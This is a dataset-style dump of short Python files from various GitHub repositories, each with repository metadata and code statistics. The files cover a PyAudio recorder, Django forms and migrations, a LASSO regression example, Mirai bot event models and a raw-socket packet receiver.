] | 5 | 2018-08-17T16:06:42.000Z | 2020-08-25T10:57:56.000Z | src/negation.py | rohitthapliyal2000/Amazon-Seller-Fake-Detection | 01242b5e3d46ffd14a164532dd66d3bded70b776 | [
"MIT"
] | null | null | null | src/negation.py | rohitthapliyal2000/Amazon-Seller-Fake-Detection | 01242b5e3d46ffd14a164532dd66d3bded70b776 | [
"MIT"
] | null | null | null | # Handling negation: "not good", "not worth it"
def hack(rev):
for i in range(0, len(rev)):
line = rev[i].split()
for it in range(0, len(line)):
if line[it] == 'no' or line[it] == 'not' or line[it] == 'nope' or line[it] == 'never' or line[it] == "isn't" or line[it] == "don't" or line[it] == "dont" or line[... | 21.5 | 181 | 0.515856 | 85 | 473 | 2.870588 | 0.388235 | 0.196721 | 0.229508 | 0.090164 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.011396 | 0.257928 | 473 | 21 | 182 | 22.52381 | 0.683761 | 0.095137 | 0 | 0 | 0 | 0 | 0.084507 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.090909 | false | 0 | 0 | 0 | 0.090909 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
bfaf5b7399c55ff649c8e211aeacc93ddb4fd919 | 2,333 | py | Python | CTFPlatformBackend/CTFBackend/views.py | dragonman164/CTF-Platform- | c6a128391abdbf5ab3faf6e446afc015f130b452 | [
"MIT"
] | null | null | null | CTFPlatformBackend/CTFBackend/views.py | dragonman164/CTF-Platform- | c6a128391abdbf5ab3faf6e446afc015f130b452 | [
"MIT"
] | null | null | null | CTFPlatformBackend/CTFBackend/views.py | dragonman164/CTF-Platform- | c6a128391abdbf5ab3faf6e446afc015f130b452 | [
"MIT"
] | null | null | null | from django.shortcuts import render,HttpResponse
from django.utils.translation import override
from .serializers import QuestionSerializer,TeamSerializer,TeamFlagSerializer
from rest_framework.views import APIView
from rest_framework import serializers, status
from rest_framework.response import Response
from .models i... | 37.031746 | 97 | 0.685384 | 268 | 2,333 | 5.858209 | 0.33209 | 0.080255 | 0.071338 | 0.036306 | 0.416561 | 0.382803 | 0.348408 | 0.348408 | 0.249045 | 0.249045 | 0 | 0.012202 | 0.227175 | 2,333 | 63 | 98 | 37.031746 | 0.858569 | 0.060009 | 0 | 0.333333 | 0 | 0 | 0.048402 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.142857 | false | 0 | 0.166667 | 0.02381 | 0.595238 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
bfafc282243abe684adae1d6ba12517537ea894b | 19,194 | py | Python | FINN/core/layers.py | HyunwooKim2/FINN | fac4ff40aaba1c14aa416738e3d22802649a94f8 | [
"BSD-3-Clause"
] | null | null | null | FINN/core/layers.py | HyunwooKim2/FINN | fac4ff40aaba1c14aa416738e3d22802649a94f8 | [
"BSD-3-Clause"
] | null | null | null | FINN/core/layers.py | HyunwooKim2/FINN | fac4ff40aaba1c14aa416738e3d22802649a94f8 | [
"BSD-3-Clause"
] | 1 | 2021-03-18T01:43:29.000Z | 2021-03-18T01:43:29.000Z | # Copyright (c) 2018, Xilinx
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
#
# 1. Redistributions of source code must retain the above copyright
# notice, this list of conditions and th... | 35.025547 | 218 | 0.637126 | 2,460 | 19,194 | 4.89878 | 0.205285 | 0.034022 | 0.022073 | 0.017426 | 0.344702 | 0.291926 | 0.262385 | 0.232429 | 0.209526 | 0.20712 | 0 | 0.011093 | 0.267323 | 19,194 | 547 | 219 | 35.08958 | 0.845837 | 0.270293 | 0 | 0.44385 | 0 | 0 | 0.072497 | 0.001646 | 0 | 0 | 0 | 0.001828 | 0 | 1 | 0.219251 | false | 0.010695 | 0.016043 | 0.082888 | 0.47861 | 0.016043 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
bfc1657fddac689067d704e2bee8142865f03be2 | 906 | py | Python | client/audio/record.py | abhishekg785/hiro | 950224d07797740b8840316bb412c1827eab46f0 | [
"MIT"
] | 7 | 2017-04-12T10:58:42.000Z | 2021-10-03T18:07:29.000Z | client/audio/record.py | abhishekg785/hiro | 950224d07797740b8840316bb412c1827eab46f0 | [
"MIT"
] | null | null | null | client/audio/record.py | abhishekg785/hiro | 950224d07797740b8840316bb412c1827eab46f0 | [
"MIT"
] | 5 | 2017-07-06T12:28:10.000Z | 2020-01-07T19:45:25.000Z | """
author : abhishek goswami
abhishekg785@gmail.com
record.py : for recording the few seconds of audio and save it to wav file
"""
import pyaudio
import wave
CHUNK = 1024
FORMAT = pyaudio.paInt16
CHANNELS = 2
RATE = 44100
RECORDS_SECONDS = 5
WAVE_OUTPUT_FILENAME = "output.wav"
p = pyaudio.PyAudio()
str... | 19.276596 | 78 | 0.657837 | 117 | 906 | 5 | 0.581197 | 0.047863 | 0.061538 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.022758 | 0.175497 | 906 | 46 | 79 | 19.695652 | 0.760375 | 0 | 0 | 0 | 0 | 0 | 0.122368 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.064516 | null | null | 0.064516 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
bfd3d2f1a294eea42d2a23c7c6f18a267eb372fb | 306 | py | Python | docs/test_pyplots/bn_trajectory.py | artemyk/dynpy | c2914ac315083ad76707a7fcb2c8800a2ec52944 | [
"BSD-2-Clause"
] | 6 | 2015-03-05T04:13:22.000Z | 2021-09-24T02:46:09.000Z | docs/test_pyplots/bn_trajectory.py | artemyk/dynpy | c2914ac315083ad76707a7fcb2c8800a2ec52944 | [
"BSD-2-Clause"
] | null | null | null | docs/test_pyplots/bn_trajectory.py | artemyk/dynpy | c2914ac315083ad76707a7fcb2c8800a2ec52944 | [
"BSD-2-Clause"
] | 6 | 2015-03-05T04:16:06.000Z | 2021-07-03T13:26:26.000Z | import matplotlib.pyplot as plt
import numpy as np
import dynpy
bn = dynpy.bn.BooleanNetwork(rules=dynpy.sample_nets.budding_yeast_bn)
initState = np.zeros(bn.num_vars, 'uint8')
initState[ [1,3,6] ] = 1
plt.spy(bn.get_trajectory(start_state=initState, max_time=15))
plt.xlabel('Node')
plt.ylabel('Time')
| 25.5 | 70 | 0.767974 | 51 | 306 | 4.470588 | 0.666667 | 0.061404 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.02518 | 0.091503 | 306 | 11 | 71 | 27.818182 | 0.794964 | 0 | 0 | 0 | 0 | 0 | 0.042484 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 0.333333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
bfd73642d8ae26c42fd990751a1c23d3bdaf9114 | 397 | py | Python | Job-Interviews/Python/Recursion/Problem7.py | JuanPabloMontoya271/ITC | f5899e7a8fed4e9f90e97bb3af635a276d9cf13a | [
"MIT"
] | 1 | 2020-11-02T15:18:16.000Z | 2020-11-02T15:18:16.000Z | Job-Interviews/Python/Recursion/Problem7.py | JuanPabloMontoya271/ITC | f5899e7a8fed4e9f90e97bb3af635a276d9cf13a | [
"MIT"
] | null | null | null | Job-Interviews/Python/Recursion/Problem7.py | JuanPabloMontoya271/ITC | f5899e7a8fed4e9f90e97bb3af635a276d9cf13a | [
"MIT"
] | 1 | 2021-10-30T14:18:29.000Z | 2021-10-30T14:18:29.000Z | #Compute the max depth of a binary tree
class Tree:
def __init__(self, val,left = None, right = None):
self.val = val
self.left = left
self.right = right
root = Tree(4, left = Tree(3), right=Tree(5, left= Tree(4)))
def maxDepth(root):
if root is None:
return 0
ret... | 30.538462 | 62 | 0.612091 | 61 | 397 | 3.918033 | 0.442623 | 0.200837 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.023891 | 0.261965 | 397 | 13 | 63 | 30.538462 | 0.791809 | 0.095718 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.181818 | false | 0 | 0 | 0 | 0.454545 | 0.090909 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
bfd8d4f3d84be02fb3733779e9337f0a634273a3 | 2,032 | py | Python | examples/dump_zenobase/main.py | ErikBjare/pyzenobase | eb0572c7441a350bf5578bc5287f3be53d32ea19 | [
"MIT"
] | 3 | 2016-03-28T21:05:05.000Z | 2017-09-13T17:33:08.000Z | examples/dump_zenobase/main.py | ErikBjare/pyzenobase | eb0572c7441a350bf5578bc5287f3be53d32ea19 | [
"MIT"
] | null | null | null | examples/dump_zenobase/main.py | ErikBjare/pyzenobase | eb0572c7441a350bf5578bc5287f3be53d32ea19 | [
"MIT"
] | null | null | null | import sys
import json
from datetime import datetime
from pyzenobase import ZenobaseAPI
# Save buckets separately instead of in one big file
SAVE_SEPARATELY = False
def _save_to_file(obj, filename: str):
print(" -> Saving as '{}'".format(filename))
with open(filename, "w+") as f:
data = json.dumps(... | 31.75 | 106 | 0.643209 | 254 | 2,032 | 4.96063 | 0.377953 | 0.033333 | 0.02381 | 0.025397 | 0.073016 | 0 | 0 | 0 | 0 | 0 | 0 | 0.005054 | 0.220965 | 2,032 | 63 | 107 | 32.253968 | 0.790903 | 0.090551 | 0 | 0 | 0 | 0 | 0.174715 | 0.01465 | 0 | 0 | 0 | 0 | 0 | 1 | 0.121951 | false | 0.121951 | 0.097561 | 0.02439 | 0.243902 | 0.146341 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
449d0ce8525aa5ddc36da6a93ef978c9df61ee3a | 2,571 | py | Python | message/forms.py | vsc-squared/herokuTry | 6986911eeb640a4f9e15138001a9ab7c53607f17 | [
"MIT"
] | null | null | null | message/forms.py | vsc-squared/herokuTry | 6986911eeb640a4f9e15138001a9ab7c53607f17 | [
"MIT"
] | null | null | null | message/forms.py | vsc-squared/herokuTry | 6986911eeb640a4f9e15138001a9ab7c53607f17 | [
"MIT"
] | null | null | null | from django import forms
from .models import *
from django.contrib.auth.models import User, Group
from django.utils.translation import ugettext_lazy as _
from django.contrib.auth import authenticate
class MessageForm(forms.Form):
title = forms.RegexField(regex=r'^\w+$', widget=forms.TextInput(attrs=dict(required=... | 40.171875 | 125 | 0.686114 | 306 | 2,571 | 5.637255 | 0.30719 | 0.057391 | 0.069565 | 0.086957 | 0.587246 | 0.551304 | 0.551304 | 0.469565 | 0.425507 | 0.425507 | 0 | 0.00808 | 0.181641 | 2,571 | 63 | 126 | 40.809524 | 0.811787 | 0.035395 | 0 | 0.422222 | 0 | 0 | 0.140436 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.111111 | false | 0 | 0.111111 | 0.066667 | 0.644444 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
44a344c73882ef21ddc0c64dca2b7aa40abcfeca | 1,339 | py | Python | zhihulogin.py | Wooden-Robot/spider-practice | 5c429dd1081745d05af97480e13a0697396020b8 | [
"MIT"
] | 12 | 2016-11-02T09:21:36.000Z | 2020-05-20T07:08:01.000Z | zhihulogin.py | Wooden-Robot/spider-practice | 5c429dd1081745d05af97480e13a0697396020b8 | [
"MIT"
] | null | null | null | zhihulogin.py | Wooden-Robot/spider-practice | 5c429dd1081745d05af97480e13a0697396020b8 | [
"MIT"
] | 7 | 2016-10-27T09:49:38.000Z | 2019-06-13T10:21:37.000Z | import requests
from bs4 import BeautifulSoup
# 构造Request headers
agent = 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, ' \
'like Gecko) Chrome/48.0.2564.116 Safari/537.36'
headers = {
'User-Agent': agent
}
s = requests.session()
def get_xsrf():
'''xsrf是一个动态的值,每次登陆前都要重新获取'''
r = ... | 27.326531 | 75 | 0.563854 | 150 | 1,339 | 4.88 | 0.513333 | 0.043716 | 0.060109 | 0.032787 | 0.259563 | 0.259563 | 0.204918 | 0.131148 | 0.131148 | 0 | 0 | 0.027835 | 0.275579 | 1,339 | 48 | 76 | 27.895833 | 0.726804 | 0.052278 | 0 | 0.205128 | 0 | 0.025641 | 0.285601 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.051282 | false | 0.076923 | 0.051282 | 0 | 0.153846 | 0.025641 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
44a6d58a5b5fa6190e9fec029ed09dabcb1a610c | 419 | py | Python | setup.py | amas0/jsonrpcstdio | c15226666156e8389951358ee091b9de142acf39 | [
"MIT"
] | null | null | null | setup.py | amas0/jsonrpcstdio | c15226666156e8389951358ee091b9de142acf39 | [
"MIT"
] | null | null | null | setup.py | amas0/jsonrpcstdio | c15226666156e8389951358ee091b9de142acf39 | [
"MIT"
] | null | null | null | from setuptools import setup, find_packages
setup(name='jsonrpcstdio',
description='Asynchroncous Python implementation of JSON RPC for arbitrary'
' Streams and a particular implementation for JSON RPC of '
'standard IO',
author='amas0',
version='0.6',
packag... | 29.928571 | 81 | 0.610979 | 41 | 419 | 6.170732 | 0.780488 | 0.094862 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.010274 | 0.303103 | 419 | 13 | 82 | 32.230769 | 0.856164 | 0 | 0 | 0 | 0 | 0 | 0.398568 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.083333 | 0 | 0.083333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
44a9506e52178ec528b928be063eb979050e1f4f | 853 | py | Python | sample_recv.py | nekt/csaw_esc_2015 | d327132dec7e1a1e4d5e0c2ab1f3e40b250dff7b | [
"MIT"
] | 2 | 2016-10-20T02:35:44.000Z | 2021-03-18T11:18:53.000Z | sample_recv.py | nekt/csaw_esc_2015 | d327132dec7e1a1e4d5e0c2ab1f3e40b250dff7b | [
"MIT"
] | null | null | null | sample_recv.py | nekt/csaw_esc_2015 | d327132dec7e1a1e4d5e0c2ab1f3e40b250dff7b | [
"MIT"
] | 4 | 2015-09-30T00:23:51.000Z | 2016-04-11T21:43:25.000Z | #! /usr/bin/env python
# execute as root to bind; the first
# argument is the interface name to bind
import socket, sys, binascii
def main():
if len(sys.argv) < 2:
print "The interface name is missing."
sys.exit(1)
try:
soc = socket.socket(socket.PF_PACKET, socket.SOCK_RAW)
except socket.error a... | 19.837209 | 58 | 0.614302 | 121 | 853 | 4.247934 | 0.446281 | 0.070039 | 0.099222 | 0.110895 | 0.159533 | 0.116732 | 0.116732 | 0 | 0 | 0 | 0 | 0.020635 | 0.26143 | 853 | 42 | 59 | 20.309524 | 0.795238 | 0.112544 | 0 | 0.333333 | 0 | 0 | 0.171088 | 0 | 0 | 0 | 0.007958 | 0 | 0 | 0 | null | null | 0 | 0.033333 | null | null | 0.266667 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
44ac2ea8b572ef07de4a99f988053d3c16399856 | 2,827 | py | Python | sqsgenerator/compat.py | dgehringer/sqsgenerator | 562697166a53f806629e8e1086b381871d9a675e | [
"MIT"
] | 14 | 2019-11-16T10:34:04.000Z | 2022-03-28T09:32:42.000Z | sqsgenerator/compat.py | dgehringer/sqsgenerator | 562697166a53f806629e8e1086b381871d9a675e | [
"MIT"
] | 5 | 2019-11-21T05:54:07.000Z | 2022-03-29T07:56:34.000Z | sqsgenerator/compat.py | dgehringer/sqsgenerator | 562697166a53f806629e8e1086b381871d9a675e | [
"MIT"
] | 4 | 2020-09-28T14:28:23.000Z | 2021-03-05T14:11:44.000Z | """
Provides utility functions and accsess to optional modules
"""
import sys
import logging
import operator
import functools
import frozendict
import typing as T
from enum import Enum
class Feature(Enum):
ase = 'ase'
pymatgen = 'pymatgen'
rich = 'rich'
pyiron = 'pyiron'
mpi4py = 'mpi4py'
jso... | 25.93578 | 107 | 0.685886 | 330 | 2,827 | 5.572727 | 0.3 | 0.045677 | 0.055465 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.001358 | 0.218606 | 2,827 | 109 | 108 | 25.93578 | 0.831145 | 0.020516 | 0 | 0.027027 | 0 | 0 | 0.092686 | 0.035119 | 0 | 0 | 0 | 0 | 0.027027 | 1 | 0.162162 | false | 0.013514 | 0.148649 | 0.040541 | 0.608108 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
44b47814b8d73a876c26de978de5dbc3e94b6043 | 1,134 | py | Python | Code/MachineLearning/lasso_example.py | tchakravarty/PythonExamples | a20a866f0f1dcf6ca429e5114baac1e40cf1da42 | [
"Apache-2.0"
] | null | null | null | Code/MachineLearning/lasso_example.py | tchakravarty/PythonExamples | a20a866f0f1dcf6ca429e5114baac1e40cf1da42 | [
"Apache-2.0"
] | null | null | null | Code/MachineLearning/lasso_example.py | tchakravarty/PythonExamples | a20a866f0f1dcf6ca429e5114baac1e40cf1da42 | [
"Apache-2.0"
] | 1 | 2018-11-23T17:21:05.000Z | 2018-11-23T17:21:05.000Z | #==============================================================================
# purpose: example of fitting a LASSO example; based on the DataRobot example here:
# http://www.datarobot.com/blog/r-getting-started-with-data-science/
# author: tirthankar chakravarty
# created: 5/7/15
# revised:
# comments:
# 1. The r... | 35.4375 | 96 | 0.634921 | 144 | 1,134 | 4.909722 | 0.541667 | 0.067893 | 0.113154 | 0.089109 | 0.149929 | 0.115983 | 0.115983 | 0.115983 | 0.115983 | 0.115983 | 0 | 0.02381 | 0.111111 | 1,134 | 32 | 96 | 35.4375 | 0.677579 | 0.463845 | 0 | 0 | 0 | 0 | 0.379599 | 0.257525 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.307692 | 0 | 0.307692 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
44b8d5aa35319a9915dc73a9d1e412f07fe54a9b | 422 | py | Python | setup.py | Peder2911/dstk | f47912ca1b025f9f58a108ebd3c2a74a031e60cb | [
"MIT"
] | null | null | null | setup.py | Peder2911/dstk | f47912ca1b025f9f58a108ebd3c2a74a031e60cb | [
"MIT"
] | null | null | null | setup.py | Peder2911/dstk | f47912ca1b025f9f58a108ebd3c2a74a031e60cb | [
"MIT"
] | null | null | null | import setuptools
setuptools.setup(
name="dstk",
version="0.0.1",
author="Peder G. Landsverk",
author_email="pglandsverk@gmail.com",
packages=setuptools.find_packages(),
scripts=["bin/dstk"],
url="http://pypi.python.org/pypi/dstk",
license="LICENSE",
description="Data science tookit... | 23.444444 | 43 | 0.64218 | 50 | 422 | 5.34 | 0.74 | 0.014981 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.017442 | 0.184834 | 422 | 17 | 44 | 24.823529 | 0.758721 | 0 | 0 | 0 | 0 | 0 | 0.315166 | 0.049763 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.0625 | 0 | 0.0625 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
44ba856dd81d4413c0f7013a64bbdc6266c254ab | 5,006 | py | Python | packages/alicebot-adapter-mirai/alicebot/adapter/mirai/event/notice.py | st1020/alicebot | 955c159901c278d33422f531b6c7e68ab0490ea3 | [
"MIT"
] | 1 | 2021-09-04T08:36:55.000Z | 2021-09-04T08:36:55.000Z | packages/alicebot-adapter-mirai/alicebot/adapter/mirai/event/notice.py | st1020/alicebot | 955c159901c278d33422f531b6c7e68ab0490ea3 | [
"MIT"
] | null | null | null | packages/alicebot-adapter-mirai/alicebot/adapter/mirai/event/notice.py | st1020/alicebot | 955c159901c278d33422f531b6c7e68ab0490ea3 | [
"MIT"
] | null | null | null | from typing import Literal
from pydantic import create_model
from .base import MiraiEvent, Subject, FriendInfo, Permission, GroupInfo, GroupMemberInfo
class NoticeEvent(MiraiEvent):
"""通知事件"""
class NudgeEvent(NoticeEvent):
"""戳一戳事件"""
type: Literal['NudgeEvent']
fromId: int
subject: Subject
... | 22.150442 | 92 | 0.677387 | 376 | 5,006 | 9.00266 | 0.300532 | 0.08449 | 0.09099 | 0.065583 | 0.169572 | 0.142984 | 0.125258 | 0.125258 | 0.125258 | 0 | 0 | 0 | 0.215941 | 5,006 | 225 | 93 | 22.248889 | 0.86242 | 0.069517 | 0 | 0.396825 | 0 | 0 | 0.130735 | 0.071269 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.02381 | 0 | 0.944444 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
44bf7a6ebcd786e22cb473bd043ee3a65f2e51c2 | 2,145 | py | Python | exam/migrations/0004_remove_exam_name_exam_exam_name_alter_exam_cls_and_more.py | HarshNarayanJha/School-Management-Project | 7a3f8c195d44241cd77ef6b4774afbdd5aae7943 | [
"MIT"
] | 2 | 2022-03-10T09:40:00.000Z | 2022-03-15T12:43:58.000Z | exam/migrations/0004_remove_exam_name_exam_exam_name_alter_exam_cls_and_more.py | HarshNarayanJha/School-Management-Project | 7a3f8c195d44241cd77ef6b4774afbdd5aae7943 | [
"MIT"
] | 1 | 2022-01-31T04:07:16.000Z | 2022-01-31T04:07:16.000Z | exam/migrations/0004_remove_exam_name_exam_exam_name_alter_exam_cls_and_more.py | HarshNarayanJha/School-Management-Project | 7a3f8c195d44241cd77ef6b4774afbdd5aae7943 | [
"MIT"
] | 1 | 2022-01-30T12:49:26.000Z | 2022-01-30T12:49:26.000Z | # Generated by Django 4.0.1 on 2022-03-12 10:11
import django.core.validators
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('exam', '0003_alter_marks_options_alter_marks_result_and_more'),
]
operations = [
migrations.RemoveField(
... | 47.666667 | 463 | 0.564569 | 254 | 2,145 | 4.645669 | 0.409449 | 0.054237 | 0.061017 | 0.057627 | 0.227119 | 0.135593 | 0.072881 | 0 | 0 | 0 | 0 | 0.032113 | 0.274126 | 2,145 | 44 | 464 | 48.75 | 0.725755 | 0.020979 | 0 | 0.421053 | 1 | 0.026316 | 0.333651 | 0.024786 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.052632 | 0 | 0.131579 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
44c7ba10bd673da47e86ad763c681c7ddd2fb4a0 | 1,165 | py | Python | test.py | AmiiirCom/karafs | e3c084cdf9bb7641c1792aaa33a61b5f3d52e66e | [
"MIT"
] | 1 | 2021-05-04T17:35:47.000Z | 2021-05-04T17:35:47.000Z | test.py | noorbala7418/karafs | 23239a13c0f3cc70a9dd5b0ccf0b0a91b981a42c | [
"MIT"
] | null | null | null | test.py | noorbala7418/karafs | 23239a13c0f3cc70a9dd5b0ccf0b0a91b981a42c | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
""" Running the tests for karafs """
import os
import subprocess
import platform
KARAFS_BIN = os.path.abspath('bin/karafs')
def run_command(cmd='') -> str:
""" Runs a command on karafs and returns the output as string """
if platform.system().startswith('Winodws'):
python_exe ... | 24.270833 | 69 | 0.624893 | 147 | 1,165 | 4.802721 | 0.421769 | 0.113314 | 0.15864 | 0.247875 | 0.249292 | 0.249292 | 0.249292 | 0.249292 | 0.249292 | 0.124646 | 0 | 0.01547 | 0.223176 | 1,165 | 47 | 70 | 24.787234 | 0.764641 | 0.123605 | 0 | 0.133333 | 0 | 0 | 0.093906 | 0 | 0 | 0 | 0 | 0 | 0.233333 | 1 | 0.066667 | false | 0.033333 | 0.1 | 0 | 0.2 | 0.033333 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
44c85277c197cec8823a641d1b5a6fd282251f37 | 756 | py | Python | subscriptions/migrations/0007_auto_20200630_1731.py | Naveendata-ux/tor_redesign | e4b5135f8b4134527ad04a097bdffd9d956d9858 | [
"BSD-2-Clause"
] | null | null | null | subscriptions/migrations/0007_auto_20200630_1731.py | Naveendata-ux/tor_redesign | e4b5135f8b4134527ad04a097bdffd9d956d9858 | [
"BSD-2-Clause"
] | null | null | null | subscriptions/migrations/0007_auto_20200630_1731.py | Naveendata-ux/tor_redesign | e4b5135f8b4134527ad04a097bdffd9d956d9858 | [
"BSD-2-Clause"
] | null | null | null | # Generated by Django 2.2.5 on 2020-06-30 17:31
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('auth', '0011_update_proxy_permissions'),
('subscriptions', '0006_remove_subscriptionplan_group'),
]
operati... | 30.24 | 193 | 0.648148 | 84 | 756 | 5.678571 | 0.630952 | 0.050314 | 0.0587 | 0.092243 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.039792 | 0.23545 | 756 | 24 | 194 | 31.5 | 0.785467 | 0.059524 | 0 | 0.222222 | 1 | 0 | 0.252468 | 0.088858 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.111111 | 0 | 0.277778 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
